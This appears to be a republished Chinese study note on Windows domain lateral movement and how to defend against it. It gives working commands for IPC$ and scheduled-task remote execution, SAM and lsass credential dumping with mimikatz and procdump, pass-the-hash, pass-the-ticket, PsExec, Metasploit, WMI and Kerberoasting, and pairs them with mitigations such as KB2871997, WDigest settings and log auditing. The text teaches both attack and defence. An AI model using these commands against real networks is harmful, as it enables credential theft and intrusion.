第5章域内横向移动分析及防御

2023-11-09

域内横向移动投不定在夏杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁(Advanced Persistent Threats,APT中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。

常用Windows远程连接和相关命令

1.IPC

IPC( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载操作 还可以在日标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

使用ipc连接
	net use \\192.168.1.106\ipc$ "ning" /user:ning
	net use f: \\192.168.43.2\c$ "@nl1345834516" /user:"administrator"  (即可将对方的c盘映射为自己的z盘,其他盘类推)
查看连接
	net use
dir命令
	dir \\192.168.43.247\c$
tasklist命令
	tasklist /S 192.168.43.247 /U ning /P ning

查看目标时间
	net time \\192.168.1.102

copy 命令
	copy test.bat \\192.168.1.102\c$




设置任务	
	目标主机<=win server 2008
	at \\192.168.1.102 16:45 c:\test.bat

	目标主机>=win server 2012
	schtasks /create /s 192.168.43.247 /tn test /sc onstart /tr c:\test.bat /ru system /f
执行任务
	schtasks /run /s 192.168.43.247 /i /tn "test"


删除ipc$
	net use \\192.168.43.3\ipc$ /del /y

 ipc$的利用条件

(1)开启了139、445端
ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445 (Window 2000)端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipc$需要139、445端口的支持。

(2)管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等)和系统目录 winnt或 windows(admin$)。通过 ipc$,可以实现对这些默认共享目录的访问。

Windows系统散列值获取分析与防范

Windowus 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。Widows操作系统中的密码般由两部分组成,部分为 LMHash, 另部分为NTLMHash。在Windows操作系统中,Hash的结构通常如下。

username:RID:LM-HASH:NT-HASH

LM Hash的全名为“LAN Manager Hash",是微软为了提高Windows操作系统的安全性面采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但为了保证系统的兼容性,Windows只是将LMHash禁用了(从Windows Vista 和WindowsSever 2008版本开始,Windows操作系统默认禁用LM Hash )。LM Hash明文密码被限定在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上即可。如果LM Hash被禁用了,攻击者通过抓取的LM Hash通常为“ab35454a3435451404046“(表示LMHash为空值或被禁用)。

NTLMHash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.
 

单机密码抓取与防范

要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至Sytem。本地用户名、散列值和其他安全验证信息都保存在SAM文件中。Isass.exe进程用于实现Windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的ls.exe 进程或SAM文件中导出。
在Windows操作系统中,SAM文件的保存位置是C:\WindowslSystem32\config.该文件是被锁定的,不允许复制。在渗透测试中,可以采用传统方法,在关闭Windows操作系统之后,使用PE盘进人文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。下面对常见的单机密码抓取工具和方法进行分析,并给出防范建议。
 

1.获取sam,system离线导出密码哈希

1.在目标主机已管理员cmd执行:
reg save hklm\sam sam.hive    #通过reg的save选项将注册表中的SAM,System文件导出到本地磁盘
reg save hklm\system system.hive

2.管理员权限打开minikatz执行:
lsadump::sam /sam:sam.hive /system:system.hive    #文件和mimikatz放在同一目录

2.使用mimikatz直接读取本地SAM文件

1.将mimikatz免杀处理后上传至目标机器,在命令行中打开mimikatz
privilege::debug    #提升权限
token::elevate    #system权限
lsadump::sam    #读取本地SAM文件,获取NTML Hash

或
2.mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"   #在线读取散列值及铭文码

3.使用mimikatz离线读取lsass.dmp文件

1.使用Procdump导出lsass.dmp文件(微软官方发布的工具)
	procdump.exe -accepteula -ma lsass.exe lsass.dmp

2.使用mimikatz导出lsass.dmp文件中的密码散列值
运行mimikatz,将lsass.dmp文件加载到mimikatz
	sekurlsa::minidump lsass.DMP    #看到Switch to MINIDUMP 加载成功
	sekurlsa::logonPasswords full    #导出密码散列值

单机密码抓取的防范方法

微软为了防止用户密码在内存中以明文形式泄露,发布了补KB2871997关闭了Wdigest功能。
Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
在日常网络维护中,通过查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中。

KB2871997:关闭了Wdigest功能,本地账号不再被允许远程接入计算机系统,但系统默认的本地管理员账号Administrator 这个SID为500的用户例外

 使hashcat获取密码

hashcat -a 0 -m xx <hashfile> <zidian1> <zidian2>
  • -a 0:以字典模式破解。
  • -m xx:指定<hashfile>内的散列值类型。
  • <hashfile>:将多个散列值存入文本,等待破解。
  • <zidian1> <zidian2>:指定字典文件。

 如何防范攻击者抓取明文密码和散列值

1.设置Active Diretory 2012 R2功能级别

Windws Sever 2012R2新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放人该组,攻击者就无法使用mimikaz等工具抓取明文密码和散列值了。

2.安装KB2871997

KB2871997是微软用来解决PsExec或IPC远程查看(ipc$ )问题的补丁,能使本地账号不再被允许远程接人计算机系统,但系统默认的本地管理员账号Administrator 这个SID为500的用户例外——即使将 Administrator改名,该账号的SID仍为500,攻击者仍然可以使用横向攻击方法获得内网中其他计算机的控制权。安装KB2871997后,仍需禁用默认的Administrator账号,以防御哈希传递攻击。

在日常网络维护中,可以通过Windows update进行自动更新,也可以访同微软官方网站下载补丁文件进行修复。

3.通过修改注册表禁止在内存中存储明文密码

微软在Windows xp版本中台南佳了一个名为WDigest的协议。该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0     #在注册表中添加一个键值,将其设置为0,电脑注销后,windows将不会把密码明文存储在内存中。
 
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential    #查询键值是否添加成功

防御mimikatz攻击

mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需要和Isass进程进行交互,如果没有Debug权限,mimikatz 将不能读取lsass进程)。因此,在维护网络时,可以针对这一点采取防御措施。将拥有Debug权限的本地管理员从Administrators组中删除。
 

哈希传递攻击分析与防范

参考:传递哈希攻击的原理介绍 - 百度安全社区

散列值:当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一且该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输人的密码进行散列加密处理(通常使用MD5算法)。散列加密算法一般为单向不可逆算法。当用户登录网站时,会先对用户输人的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。

主流的Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证。早期版本的Windows操作系统,则使用LM Hash对用户密码进行验证。但是,当密码大于等于15位时,就无法使用LMHash了。从Windows Vista和Windows Server 2008版本开始,Windows 操作系统默认禁用LM Hash,因为在使用NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API (例如LsaLogonUser )转换成散列值。不过,攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。

在知到用户名和密码哈希后进行哈希传递:

minikatz运行:
privilege::debug
sekurlsa::pth /user:Administrator /domain:testlab /ntlm:f478e94103927311912ff00846210a30   

#此时会弹出一个cmd.exe
dir \\dc\c$

mimikatz执行后 会弹出一个拥有对应 hash用户权限的 cmd窗口
可看到 弹出 域控的 cmd权限(使用域控当前用户成功)

必须要在目标机器上安装KB28711997,才可以导入AES-256密钥的方式进行横向移动(Pass The Key)

在本实验中需要注意以下几点。

  •     dir 后跟要使用的主机名,而不是IP地址,否则会提示用户名或密码错误。
  •     除了AES-256密钥,AES-128密钥也可以用来进行哈希传递。
  •     使用AES密钥对远程主机进行哈希传递的前提是在本地安装KB2871997。
  •     如果安装了KB2871997,仍然可以使用SID为500的用户的NTLM Hash进行哈希传递。
  •     如果要使用mimikaz的哈希传递功能,需要具有本地管理员权限。这是由mimikatz的实现机制决定的(需要高权限进程lsass.exe的执行权限)。
     

更新KB2871997补丁产生的影响 

 微软在2014年5月发布了KB2871997。 该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员对远程计算机使用PsExec, WMI, smbexec, schtasks,也无法访问远程主机的文件共享等。在实际测试中,更新KB2871997后,Administrator账号(SID为500 )例外——使用该账户的散列值依旧可以进行哈希传递。
这里强调的是SID为500的账号。在一些计算机中,即使将Administator改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行横向移动,就不会受到K827197的影响。在实际网络维护中需要特别注意这一点
 

票据传递攻击分析与防范

域渗透-票据传递攻击(Pass the Ticket) - 知乎

使用kekeo进行票据传递

在知到用户名和哈希后进行票据传递(过程不需要管理员权限)

kekeo "tgt::ask /user:administrator /domain:testlab.com /ntlm:f478e94103927311912ff00846210a30"    #在当前目录生成一个票据文件
kerberos::purse    #在kekeo中清除当前内存中的票据
或
klist purge    #windows命令行下清除票据
 
kerberos::ptt ....kirbi    #使用kekeo将票据文件导入内存,导入完成,exit推出,使用dir命令查看远程主机的文件。

导入后我们再尝试远程访问域控的文件内容:

如何防范票据传递攻击

  • 使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。
  • 票据文件注人内存的默认有效时间为10 小时。
  • 在目标机器上不需要本地管理员权限即可进行票据传递。
  • 通过以上几点,就可以理清防御票据传递攻击的思路了。

PsExec 的使用

PsExec是SysInternals套件中的一款功能强大的软件。起初PsExec主要用于大批量Windows主机的运维,在域环境下效果尤其好。但是,攻击者渐渐开始使用PsExec,通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议( RDP )进行图形化控制,降低了恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中)。PsExec可以在Windows Vista/NT 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016(包括64位版本)上运行。
PsExec.exe用法

在建立ipc连接下,创建交互shell
PsExec.exe -accepteula \l192.168.100.190 -s cmd.exe
    -accepteula:    第一次运行PsExec会弹出确认框,使用该参数就不会出现
    -s:    以system权限运行远程进程,获得一个system权限的交互式shell,不使用此参数获得一个     administrator的shell

没有建立ipc:
psexec \\192.168.100.190 -u administrator -p Aa123456@ cmd.exe

执行命令并回显:
psexec \1192.168.100.190 -u administrator -p Aa123456@ cmd.exe /c "ipconfig"

在使用PsExec时,需要注意以下几点

  •      需更远程系统开启admin$共享(默认是开启的)
  •     连接目标系统后,不需要输人账号和密码。
  •     在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。 命令执后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
  •     使用PsExec可以直接获得System权限的交互式Shell。
     

Metasploit 中的psexec模块

search psexec
use exploit/windows/smb/psexec 
show options
set RHOSTS 1.1.1.7
set SMBPass 123
set SMBUser administrator
run

输入“shell”命令,获得一个 System权限的Shell

WMI的使用

WMI的使用
WMI的全名为“ Windows Management Instrumentation"。从Windows 98开始,Windows系统都支持WMI。WMI是由一系列工具集组成的, 可以在本地或者远程管理计算机系统。
自PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,可以使用WMI进行横向移动。通过渗透测试发现,在使用wmi.exe进行横向移动时,Windows 操作系统默认不会将WMI的操作记录在日志中。因为在这个过程中不会产生日志,所以对网络管理员来说增加了攻击溯源成本。而对攻击者来说,其被发观的可能性有所降低、隐救性有所提高。

wmic /node:1.1.1.10 /user:Administrator /password:123456Aa process call create "cmd.exe /c ipconfig >c:\ip.txt"    #使用目标系统的cmd.exe执行条命令,将执行结果保存在C盘中

建立ipc后,使用type命令读取执行结果
net use \\1.1.1.8\ipc$ "123456Aa" /user:Administrator
type \\1.1.1.8\C$\ip.txt

接下来,使用wmic远程执行命令,在远程系统中启动Windows Management Instrumentation服务(目标服务器需要开放135 端口,wmic会以管理员权限在远程系统中执行命令)。如果目标服务器开启了防火墙,wmic 将无法进行连接。
此外,wmic没有回显,需要使用ipc$和type命令来读取信息。需要注意的是,如果wmic执行的是恶意程序,将不会留下日志。
impacket工具包中的wmiexec

wmiexec.py administrator:123456Aa@@1.1.1.10

SPN在域环境中的应用

Windows域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。在域环境
中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主体名称(Service Principal Name,SPN)。

SPN扫描

相关概念

在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkService、 LocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是加果在域用户账号下运行服务,则必须为要使用的账号手动注册 SPN。因为域环境中的每台服务器都需要在Kerberos身份验让服务中汪册 SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在那台机器上。
Kerberos身份验让便用 SPN将服务实例与服务登录账号关联起来。如果域中的计算机上安装了多个服务实例,那么每个实例都必须有自己的SPN.如果客户端可能使用多个名称进行身份验证,那么给定的服务实例可以有多个SPN。例如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所在主机的每个名称或别名注册一个SPN。根据Kerberos协议,当输人目己的账号和密码登录活动目录时,域控制器会对账户和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的譬如票据(TGT)发送给用户(作为用户访问资源时的身份凭据)。

下面通过一个例子来说明。当用户需要访问MSSQL服务时,系统会以当前用户身份向域控制器查询SPN为“MSSQL”的记录。找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的身份验证服务(AS)对TGT进行解密。确认无误后,由TGT将一张运行访问该SPN所对应的服务的票据和该SPN所对应的服务的地址发送给用户。用户使用该票据即可访问MSSQL服务。
SPN命令如下

SPN = serviceclass "/" hostname [":"port"] ["/" servicename]
serviceclass:服务组件的名称
hostname:以“/”与后边的名称分割,是计算机的FQDN全限定域名,同时带有计算机名和域名
port:以冒号分割,后面的内容为该服务监听的端口号
servicename:一个字符串,可以是服务的专有名称(DN),objeectGuid,Internet主机名或全限定域名

常见 SPN 服务

MSSQL 服务的示例代码如下。
MSSQLSvc/ computer1.labtest.com:1433
MSSOLSvc: 服务组件的名称,此处为 MSSQL 服务。
computer computer1.labtest:主机名为computer1,域名为labtest
1433:监听的端口为1433。
serviceclass和 hostname是必选参数,port和servicename是可选参数,hostname和port之间的冒号只有在该服务对其端口讲行监听时才会使用。
 
 
Exchange服务的示例代码如下。
exchangeMDB/EXCAS01.labtest.com
 
RDP服务的示例代码如下。
TERMSERV/EXCAS01.labtest.com
 
WSMan/WinRM/PSRemoting 服务的示例代码如下。
WSMAN/EXCAS01.labtest.com

1.使用powershell脚本进行spn扫描

脚本下载:https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers

发现所有spn
Import-Module .\Discover-PSInterestingServices
Discover-PSInterestingServices

2.使用Windows自带的工具列出域内所有的SPN信息

setspn -T domain -q */*

 

 Kerberoast攻击分析和防范

Kerberoast是一种针 对Kerberos协议的攻击方式。在因为需要使用某个特定资源而向TGS发送Kerberos服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求相应服务的票据。当TGT被验证有效且具有该服务的权限时,会向用户发送一张票据。 该票据使用与SPN相关联的计算机服务账号的NTLM Hash (RC4_HMAC_MD5),也就是说,攻击者会通过Kerberoast尝试使用不同的NTLM Hash来打开该Kerberos票据。如果攻击者使用的NTLM Hash是正确的,Kerbers票据就会被打开,而该NTLM Hash对应于该计算机服务账号的密码。
在域环境中,攻击者会通过Kerberast使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。因为在使用该方法时,大多数操作都是离线完成的,不会向目标系统发送任何信息,所以不会引起安全设备的报警。又因为大多数网络的域环境策略不够严格(没有给计算机服务账号设置密码过期时间;计算机服务账户的权限过高;计算机服务账号的密码与普通域用户账号密码相同),所以计算机服务账户的密码很容易受到Kerberoast攻击的影响。
 

1.实验:配置MSSQL服务,破解该服务的票据

(1)手动注册SPN

输人如下命令,手动为MSSQL服务账号注册SPN

setspn -A MSSQLSvc/computer1.labtest.com:1433 mssql

(2)查看用户所对应的SPN

查看所有注册的SPN,命令如下。
setspn -T domain -q */*
 
查看指定用户注册的SPN,命令如下。
setspn -L labtest.com\mssql

(3)使用adsiedit.msc查看用户SPN及其他高级属性

(4)配置指定服务的登录权限

执行如下命令,在活动目录中为用户配置指定服务的登录权限
gpedit.msc\Computer Configuration\Windows Settings\Security Setting\Local Policies\Users Rights Assignment \Log on as a service

(5)修改加密类型
因为Kerberos协议的默认加密方式为AES256_ HMAC,而通过tgsrepcrack.py无法破解该加密方式,所以,攻击者会通过服务器组策略将加密方式设置为RC4 HMAC_MD5,命令如下

gpedit.msc\Computer Configuration\Windows Settings\Security Setting\Local Policies\Security Options\Network security: Configure encryption types allowed for kerberos

(6)请求SPN Kerberos票据

打开Pwerhel输入如下命令
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestor SecurityToken -ArgumentList "MSSQLSvc/computer1.labtest.com"

(7)导出票据

在mimikatz中执行如下命令,将内存中的票据导出
Kerberos::list /export    #票据会导出在当前目录下的kirbi文件中,加密方式为RC4_HMAC_MD5

(8)使用Kerberoast脚本离线破解票据所对应账号的NTLMHash

下载Kerberoast因为该工具是用Python语言编写的,所以需要在本地配置Python2.7环境。

将MSSQL服务所对应的票据文件复制到KaliLinux中。
在Kerberoest中有一个名为gepeack.y的脚本文件,其主要功能是离线破解票据的NTLM Hash在Kai Linux中打开该脚本,在命令行环境中输人如下命令

python tgsrepcrack.py wordlist.txt mssql.kirbi
 
如果破解成功,该票据所对应账号的密码将被打印在屏幕上。

 .防范建议

针对Kerberoast攻击,有如下防范建议。

  1. 确保服务账号密码长度超过 25位;确保密码的随机性;定期修改服务账号的密码。
  2. 如果,就无攻击者无法将默认的AES256_HMAC加密方式更改为RC4_HMAC_MD5,就无法使用tgsrepcrack.py来破解密码。
  3. 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制使用AES_256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。
  4. 许多服务账户在内网中被分配了过高的权限,且密码强度通常较差。攻击者很可能通过破解票据的密码,从域用户权限提升升到域管理员权限。因此,应该对服务账户的权限进行话当的配置,并提高密码的强度。
  5. 在进行日志审计时,可以重点关注ID为4769 (请求Krbers服务票据)的事件。如果有过多的4769日志,应该进一步检查系系统中是否存在恶意行为。
     

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

第5章域内横向移动分析及防御 的相关文章

  • 弱密码测试工具blaster使用演示

    声明 出品 安全客 以下内容 来自安全客作者原创 由于传播 利用此文所提供的信息而造成的任何直接或间接的后果和损失 均由使用者本人负责 长白山攻防实验室以及文章作者不承担任何责任 关于blaster blaster是一款强大的弱密码隐患检测
  • KB2871997补丁绕过

    KB2871997补丁绕过 微软为了防止用户的明文密码在内存中泄露 发布了KB2871997补丁 关闭了Wdigest功能 Windows Server2012及以上版本默认关闭Wdigest 使攻击者无法从内存中获取明文密码 Window
  • 内网安全:WMI协议与SMB协议横向移动

    目录 网络拓扑图 网络环境说明 WMI协议 SMB协议 域内信息收集 WMI协议 横向移动 利用方式一 wmic命令 利用方式一 cscript 利用方式一 impacket SMB协议 横向移动 利用方式一 psexec 利用方式二 ps
  • 防范明文密码和散列值抓取

    一 单机密码抓取的防范方法 微软为了防止用户密码在内存中以明文形式泄露 发不了补丁KB2871997 关闭了Wdigest功能 windows server 2012以上版本默认关闭Wdigest 使攻击者无法从内存中获取明文密码 对于wi
  • 内网渗透-frp 用于内网穿透的基本配置和使用

    frp 用于内网穿透的基本配置和使用 文章目录 frp 用于内网穿透的基本配置和使用 前言 frps frpc 后记 参考 前言 frp 是一个专注于内网穿透的高性能的反向代理应用 支持 TCP UDP HTTP HTTPS 等多种协议 可
  • 渗透测试-01信息收集

    0x01信息收集 1 什么是信息收集 信息收集是指通过各种方式获取所需要的信息 以便我们在后续的渗透过程更好的进行 比如目标的站点IP 中间件 脚本语言 端口 邮箱等等 信息收集包含资产收集但不限于资产收集 2 信息收集的意义 1 信息收集
  • 端口转发及穿透内网

    文章目录 portmap nc 正向连接 内网主机出网 反向连接 内网主机不出网 netsh端口转发 端口转发 netsh端口转发监听meterpreter frp 例子 参考 portmap https github com Brucet
  • 文件传输的几种常用方法

    文件传输的常用方式 http wget ftp tftp powershell apt get install python pyftpdlib python m pyftpdlib p 22 ftp 127 0 0 1 用户名 anony
  • Windows系统提权姿势

    windows系统提权 权限提升简介 权限提升概述 什么是提权 提权分类 提权条件 Windows提权思路 Windows系统提权 Windows提权信息收集 WMIC信息收集 自动信息收集 提权工具脚本 环境搭建 提权 Windows内核
  • powershell cs-UTF-16LE编码上线

    0x01前言 当我们要上线主机的时候 可能会因为你的代码含有木马字符串 导致无法上线 0x02问题 1 例子 powershell exe exec bypass encodedCommand ZQBjAGgAbwAgACIAMQAyADM
  • 内网渗透——内网信息收集

    目录 一 内网信息收集简介 1 对当前机器角色进行判断 2 对当前机器所处网络环境及拓扑结构进行判断分析 3 对当前机器所处区域进行判断 二 本机信息收集 1 手动收集 2 相关查询命令 1 获取本机网络配置信息 2 操作系统和软件信息 1
  • 第5章域内横向移动分析及防御

    域内横向移动投不定在夏杂的内网攻击中被广泛使用的一种技术 尤其是在高级持续威胁 Advanced Persistent Threats APT中 攻击者会利用该技术 以被攻陷的系统为跳板 访问其他域内主机 扩大资产范围 包括跳板机器中的文档
  • kerberos认证过程

    KDC Key Distribution Center 密钥分发中心 里面包含两个服务 AS和TGS AS Authentication Server 身份认证服务 TGS Ticket Granting Server 票据授予服务 TGT
  • Windows命名管道&getsystem原理学习记录

    前言 出品 博客 ID moon flower 以下内容 来自博客的moon flower作者原创 由于传播 利用此文所提供的信息而造成的任何直接或间接的后果和损失 均由使用者本人负责 长白山攻防实验室以及文章作者不承担任何责任 命名管道基
  • 【渗透测试笔记】之【内网渗透——CS流量隐蔽】

    文章目录 1 修改端口特征 2 修改证书特征 2 配置CDN 3 生成自定义配置文件 4 效果演示 1 修改端口特征 vim teamserver 将默认端口修改 Dcobaltstrike server port 54321 2 修改证书
  • 网络web渗透工程师-教你怎么喝着茶,把甲方爸爸的活干了。

    一 场景 又是一次接外包项目去甲方做渗透的一天 到了现场 发现甲方爸爸的是一家国企 国企的服务器搭建 普遍比较乱 不出所料 第一天去现场 我还以为是他们给资产 我们渗透就行了 结果发现 我们连那个资产对应那个国企的二级部门都不知道 唯一比较
  • PWN保护机制以及编译方法

    0x00 声明 以下内容 来自先知社区的作者逆向萌新原创 由于传播 利用此文所提供的信息而造成的任何直接或间接的后果和损失 均由使用者本人负责 长白山攻防实验室以及文章作者不承担任何责任 0x01前言 Ctf中的pwn题 在利用gcc编译的
  • RDP远程桌面密码凭证获取

    前言 在渗透过程中获取到一台Windows服务器后 可以尝试获取当前机器保存的RDP远程桌面密码凭证 进而在内网横向渗透中进一步扩大战果 0x01 密码凭证获取 查看当前主机本地连接过的目标机器记录 reg query HKEY CURRE
  • 域环境的搭建的详细教程-220109

    参考链接 https mp weixin qq com s src 11 timestamp 1641696209 ver 3547 signature zTIDZEcpq zjwuEuZpbaaAxFfkkVxcLHeX4AuKT78bJ
  • 红日安全靶机实战(一)

    0x01 入侵web服务器 0x 1 1 信息收集 首先使用 nmap 来扫描ip 段存活的主机 nmap sn 192 168 127 0 24 这里网上有的用 netdiscover 来扫描 其实和 nmap sn 扫描原理是一样的 都

随机推荐

  • ImportError: libopenblas.so.0: cannot open shared object file: No such file or directory

    安装OpenBLAS的步骤 1 下载最新的openblas git clone https github com xianyi OpenBLAS git 没有安装git 先安装git CentOS安装git yum install git
  • MyBatisPlus的@TableId注解来实现自增序列id自动插入的功能

    写法 TableId value 数据库主键字段 type IdType 六种类型之一 例如 TableId value user id type IdType AUTO 1 ASSIGN ID 雪花算法 如果不设置 type 值 默认则使
  • Flink_03_Window(个人总结)

    声明 1 本文为我的个人复习总结 并非那种从零基础开始普及知识 内容详细全面 言辞官方的文章 2 由于是个人总结 所以用最精简的话语来写文章 3 若有错误不当之处 请指出 keyBy不仅是为了分组 同时还是为了能把数据分布到不同分区进行并行
  • JavaScript详解

    目录 一 什么是JavaScript 二 JavaScript的引入方式 三 JavaScript的基础语法 3 1 书写语法 3 2 输出语句 3 3 变量 3 4 数据类型 3 5 运算符 3 6 流程控制语句 3 7 函数 四 Jav
  • 笔记本屏幕忽亮忽暗解决方法大全,总有一款适合你

    笔记本屏幕忽亮忽暗解决方法大全 导言 傻逼Intel的傻逼设计 其原本目的是想在屏幕显示暗的东西时能有更高的暗部表现 或者 顺便省电 实际上眼睛导致干涩流泪 解决方法一 在Intel图形设置关闭Intel节能技术 解决方法二 在intel控
  • Element按需引入

    ElementUI网址 https element eleme cn zh CN component quickstart 1 1 安装 babel plugin component npm install babel plugin com
  • Windows网络守门人UserLock教程:如何分配登录时间配额

    UserLock是您的Windows网络守门人 它可以轻松实现有效的Windows和Active Directory网络用户访问控制策略 并严格执行 在UserLock中我们可以定义时间配额规则以限制所选会话类型的周期性连接时间 接下来 我
  • 法将数据写入传输连接: 你的主机中的软件中止了一个已建立的连接_LabVIEW_基于Network Steams 的无损传输技术...

    LabVIEW提供了用于创建分布式应用程序的多种技术的访问权限 LabVIEW 2010中引入的网络流是在这些应用程序之间流传输数据的理想方法 使用网络流 您可以轻松地在网络上或同一台计算机上共享数据 本文是对网络流进行介绍 并讨论了其功能
  • 【通俗易懂】vue中loading功能实现方法

    效果图 我是点击后让他出现loading效果 上代码
  • STM32MP157 AP6236 WiFi蓝牙模块

    STM32MP157 AP6236 WiFi蓝牙模块 1 介绍 2 修改设备树 3 配置Linux内核 3 1 配置支持WiFi设备 3 2 配置支持IEEE 802 11 3 3 配置支持蓝牙 4 配置Buildroot 5 板子配置 6
  • Vue + axios + vant 封装公共请求

    import axios from axios 引入axios import router from router 引入路由 import Toast from vant 引入提示层 export function post obj 调用时
  • 线程的声明周期

    要想实现多线程 必须在主线程中创建新的线程对象 JAVA中使用Thread类及其子类的对象来表示线程 在它的完整的生命周期一般要包括5类 新建 当一个Thread类或子类的对象被声明并创建时 新生的线程对象就处于新建状态 就绪 处于新建状态
  • Matlab读取csv文件csvread函数的使用

    方法一 M csvread FILENAME 读取逗号分隔值格式的文件名 结果直接返回给M 因此 文件只能包含数值 方法二 M csvread FILENAME R C 从逗号分隔值格式的文件中读取数据 从R行和C列开始 R和C从零开始 因
  • PHP cURL获取HTTP响应头

    前言 平时做开发时 经常会用到PHP的cURL扩展 用于请求外部HTTP接口 大多数情况下 我们只需要获取接口返回的响应体 HTTP response body 但如果我们想获取响应头 HTTP response header 那可以怎么做
  • Mac-解决程序包javafx.util不存在

    环境 macos m1芯片 IDEA jdk zulu 8 jdk 1 8 0 322 支持m1芯片的 解决方式 1 更换jdk版本 不使用支持m1芯片的jdk 到官网 链接下载macos的jdk1 8 0 333 且下载成功之后不需要配置
  • Eclipse调整XML源代码文件字体大小

    Eclipse调整XML源代码文件字体大小 Window gt Preferences gt General gt Appearance gt Colors and Fonts gt Basic gt Text Font 点击Edit 设置
  • 简单的书签服务LinkDing

    今天是上海全域静态管理的第 29 天 周三抗原 周四老苏刚做完核酸 居委突然通知后面的不做了 大家一阵慌乱 结果后来又通知继续 这是要闹哪样 据说是怕系统崩溃 周五终于休息了 根据居委会的通告 周二的核酸又发现一管异常 希望昨天的复检正常吧
  • Codeforces Round#808 div.1+div.2题解

    视频讲解 BV1ya411S7KF div 2 A Difference Operations 题目大意 给定长度为 n n n 的数组 a a a 可以进行任意次操作 每次操作选择一个整数
  • Android高德地图获取当前缩放等级及可视区域四个角的坐标

    获取当前缩放等级 未开启定位图层 在fragment中oncreatview生命周期中无法获取到 可以在Onresume中获取 float zoom mAMap getCameraPosition zoom VisibleRegion vi
  • 第5章域内横向移动分析及防御

    域内横向移动投不定在夏杂的内网攻击中被广泛使用的一种技术 尤其是在高级持续威胁 Advanced Persistent Threats APT中 攻击者会利用该技术 以被攻陷的系统为跳板 访问其他域内主机 扩大资产范围 包括跳板机器中的文档